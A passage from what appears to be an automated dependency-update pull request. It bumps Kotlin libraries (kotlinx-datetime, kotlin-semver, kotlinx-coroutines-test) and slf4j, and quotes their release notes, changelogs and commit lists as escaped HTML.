\u003ccode\u003eorNull\u003c/code\u003e functions for non-throwing construction of datetime entities (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/68\"\u003e#68\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eparseOrNull\u003c/code\u003e extension functions for non-throwing attempts at parsing (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/508\"\u003e#508\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce \u003ccode\u003eLocalIsoWeekDate\u003c/code\u003e for representing \u003ca href=\"https://en.wikipedia.org/wiki/ISO_week_date\"\u003eISO week dates\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/603\"\u003e#603\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce functions for finding the next or previous date with the given day-of-week (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/129\"\u003e#129\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTweaks and fixes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix bugs in \u003ccode\u003eInstant.until\u003c/code\u003e and \u003ccode\u003eInstant.periodUntil\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/534\"\u003e#534\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAlways output seconds in the \u003ccode\u003eDateTimeComponents.Formats.RFC_1123\u003c/code\u003e format (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/608\"\u003e#608\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOn Kotlin/Native for Windows, whenever DST transitions are turned off by the user, the current system time zone is now fixed-offset (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/575\"\u003e#575\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 0.8.0-rc02\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003e0.8.0-rc02\u003c/h2\u003e\n\u003cp\u003eEquivalent to \u003ccode\u003erc01\u003c/code\u003e, but published without \u003ccode\u003eInstant\u003c/code\u003e and \u003ccode\u003eClock\u003c/code\u003e.\nA separate compatibility artifact contains them for binary compatibility.\nPlease see \u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/#deprecation-of-instant\"\u003ehttps://github.com/Kotlin/kotlinx-datetime/#deprecation-of-instant\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003e0.8.0-rc01\u003c/h2\u003e\n\u003cp\u003eBreaking changes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eTimeZone\u003c/code\u003e serialization (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/576\"\u003e#576\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAdditions:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eorNull\u003c/code\u003e functions for non-throwing construction of datetime entities (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/68\"\u003e#68\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eparseOrNull\u003c/code\u003e extension functions for non-throwing attempts at parsing (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/508\"\u003e#508\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce \u003ccode\u003eLocalIsoWeekDate\u003c/code\u003e for representing \u003ca href=\"https://en.wikipedia.org/wiki/ISO_week_date\"\u003eISO week dates\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/603\"\u003e#603\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce functions for finding the next or previous date with the given day-of-week (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/129\"\u003e#129\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTweaks and fixes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix bugs in \u003ccode\u003eInstant.until\u003c/code\u003e and \u003ccode\u003eInstant.periodUntil\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/534\"\u003e#534\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAlways output seconds in the \u003ccode\u003eDateTimeComponents.Formats.RFC_1123\u003c/code\u003e format (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/608\"\u003e#608\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOn Kotlin/Native for Windows, whenever DST transitions are turned off by the user, the current system time zone is now fixed-offset (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/575\"\u003e#575\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/591ce9bd83df08322105e10d51f90b2baa5355cd\"\u003e\u003ccode\u003e591ce9b\u003c/code\u003e\u003c/a\u003e Merge branch 'dkhalanskyjb/remove-deprecated-instant' into version-0.8.0-normal\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/a2eb07444986b897f062b39510a22b838bc2394f\"\u003e\u003ccode\u003ea2eb074\u003c/code\u003e\u003c/a\u003e Version 0.8.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/f487af449b536bd130a8d1eb9fd4dcbb80c5a59e\"\u003e\u003ccode\u003ef487af4\u003c/code\u003e\u003c/a\u003e Describe the release procedures (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/edc1183a08ac54d60504b2288ab0a9f31698fce1\"\u003e\u003ccode\u003eedc1183\u003c/code\u003e\u003c/a\u003e Add contribution guidelines (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/4b485b7b6aac3539893b0238c8e81c2d5ff0402d\"\u003e\u003ccode\u003e4b485b7\u003c/code\u003e\u003c/a\u003e Added templates to the issue creation wizard (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/616\"\u003e#616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/c2854bd91aa2f2d43ece1e1884c06c75f6020f27\"\u003e\u003ccode\u003ec2854bd\u003c/code\u003e\u003c/a\u003e Updated kotlinx.team.infra plugin and regenerated publication pipeline (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/619\"\u003e#619\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/ef03b193e6d1d3b50b51ca0f12a22e85dbd05b5d\"\u003e\u003ccode\u003eef03b19\u003c/code\u003e\u003c/a\u003e Version 0.8.0-rc02\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/a1ac46e06b9d3310d3b31a025eb6a62297f317ff\"\u003e\u003ccode\u003ea1ac46e\u003c/code\u003e\u003c/a\u003e Use IANA tzdb 2026b (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/620\"\u003e#620\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/c006a0f07dc129d8afa3760f3f4c01c6bd2d2296\"\u003e\u003ccode\u003ec006a0f\u003c/code\u003e\u003c/a\u003e Version 0.8.0-rc01\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/commit/4ae47efa9f1860bd772322bd0b0e3bfb7ad38ec8\"\u003e\u003ccode\u003e4ae47ef\u003c/code\u003e\u003c/a\u003e Small improvements to various docs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/578\"\u003e#578\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/compare/v0.7.1...v0.8.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.slf4j:slf4j-api` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:slf4j-simple` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:slf4j-simple` from 2.0.17 to 2.0.18\n\nUpdates `io.github.z4kn4fein:semver` from 3.0.0 to 3.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/releases\"\u003eio.github.z4kn4fein:semver's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.1.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport for Maven-style constraint parsing and formatting.\u003c/li\u003e\n\u003cli\u003eAbility to extend constraint parsing and formatting with custom \u003ccode\u003eConditionParser\u003c/code\u003e and \u003ccode\u003eConditionFormatter\u003c/code\u003e implementations.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConstraint parsing now reduces the constructed conditions by removing redundancies.\nFor example \u003ccode\u003e\u0026gt;1.0.0 \u0026lt;2.0.0 \u0026gt;1.1.0\u003c/code\u003e is now reduced to \u003ccode\u003e\u0026gt;1.1.0 \u0026lt;2.0.0\u003c/code\u003e, or \u003ccode\u003e\u0026gt;1.1.0 \u0026lt;1.1.0\u003c/code\u003e is reduced to \u003ccode\u003e!=1.1.0\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eConstraint parsing now validates the constructed conditions,\nfor example, parsing \u003ccode\u003e\u0026gt;2.0.0 \u0026lt;1.0.0\u003c/code\u003e or \u003ccode\u003e\u0026gt;2.3.4 \u0026lt;2.3.7 !=2.3\u003c/code\u003e now results in a \u003ccode\u003eConstraintFormatException\u003c/code\u003e because they are impossible to satisfy.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/blob/main/CHANGELOG.md\"\u003eio.github.z4kn4fein:semver's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[3.1.0] - 2026-05-04\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport for Maven-style constraint parsing and formatting.\u003c/li\u003e\n\u003cli\u003eAbility to extend constraint parsing and formatting with custom \u003ccode\u003eConditionParser\u003c/code\u003e and \u003ccode\u003eConditionFormatter\u003c/code\u003e implementations.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConstraint parsing now reduces the constructed conditions by removing redundancies.\nFor example \u003ccode\u003e\u0026gt;1.0.0 \u0026lt;2.0.0 \u0026gt;1.1.0\u003c/code\u003e is now reduced to \u003ccode\u003e\u0026gt;1.1.0 \u0026lt;2.0.0\u003c/code\u003e, or \u003ccode\u003e\u0026gt;1.1.0 \u0026lt;1.1.0\u003c/code\u003e is reduced to \u003ccode\u003e!=1.1.0\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eConstraint parsing now validates the constructed conditions,\nfor example, parsing \u003ccode\u003e\u0026gt;2.0.0 \u0026lt;1.0.0\u003c/code\u003e or \u003ccode\u003e\u0026gt;2.3.4 \u0026lt;2.3.7 !=2.3\u003c/code\u003e now results in a \u003ccode\u003eConstraintFormatException\u003c/code\u003e because they are impossible to satisfy.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/260a381604118dec84f35a5098e90ebbeb554dec\"\u003e\u003ccode\u003e260a381\u003c/code\u003e\u003c/a\u003e Squashed commit of the following:\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/26b897e8f11168759cb2a8223a38aee713ede32c\"\u003e\u003ccode\u003e26b897e\u003c/code\u003e\u003c/a\u003e Bump JamesIves/github-pages-deploy-action from 4.7.6 to 4.8.0 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/69\"\u003e#69\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/5bb8b113a27e241067e34e1239f9fdec4f1615e2\"\u003e\u003ccode\u003e5bb8b11\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 5 to 6 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/63\"\u003e#63\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/bfc6b3aee69a5a286624faf68dc790c759ce3b24\"\u003e\u003ccode\u003ebfc6b3a\u003c/code\u003e\u003c/a\u003e Bump actions/download-artifact from 6 to 7 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/64\"\u003e#64\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/b96d8b46298fac871281a71410b0e3e83ed80fa7\"\u003e\u003ccode\u003eb96d8b4\u003c/code\u003e\u003c/a\u003e Bump actions/cache from 4 to 5 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/65\"\u003e#65\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/2c4670ddbac47030f5f2f050a8c74735790073fc\"\u003e\u003ccode\u003e2c4670d\u003c/code\u003e\u003c/a\u003e Bump actions/upload-artifact from 5 to 6 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/66\"\u003e#66\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/ab56af2e95165dd9343eeb8451a0ed7ea5df6b77\"\u003e\u003ccode\u003eab56af2\u003c/code\u003e\u003c/a\u003e Bump JamesIves/github-pages-deploy-action from 4.7.4 to 4.7.6 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/67\"\u003e#67\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/1a403af4d037b2b59775bfdc6b6bd47ce8291cff\"\u003e\u003ccode\u003e1a403af\u003c/code\u003e\u003c/a\u003e Bump actions/download-artifact from 5 to 6 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/60\"\u003e#60\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/3a9ae5a685272f5bc90d62847da27bffd8e02b56\"\u003e\u003ccode\u003e3a9ae5a\u003c/code\u003e\u003c/a\u003e Bump actions/upload-artifact from 4 to 5 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/61\"\u003e#61\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/commit/f96dce022ac5008ed9cad2f91415bb6b63574721\"\u003e\u003ccode\u003ef96dce0\u003c/code\u003e\u003c/a\u003e Bump JamesIves/github-pages-deploy-action from 4.7.3 to 4.7.4 (\u003ca href=\"https://redirect.github.com/z4kn4fein/kotlin-semver/issues/62\"\u003e#62\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/z4kn4fein/kotlin-semver/compare/3.0.0...3.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jetbrains.kotlinx:kotlinx-coroutines-test` from 1.10.2 to 1.11.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/releases\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. B\nefore, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/blob/master/CHANGES.md\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-test's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. Before, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca 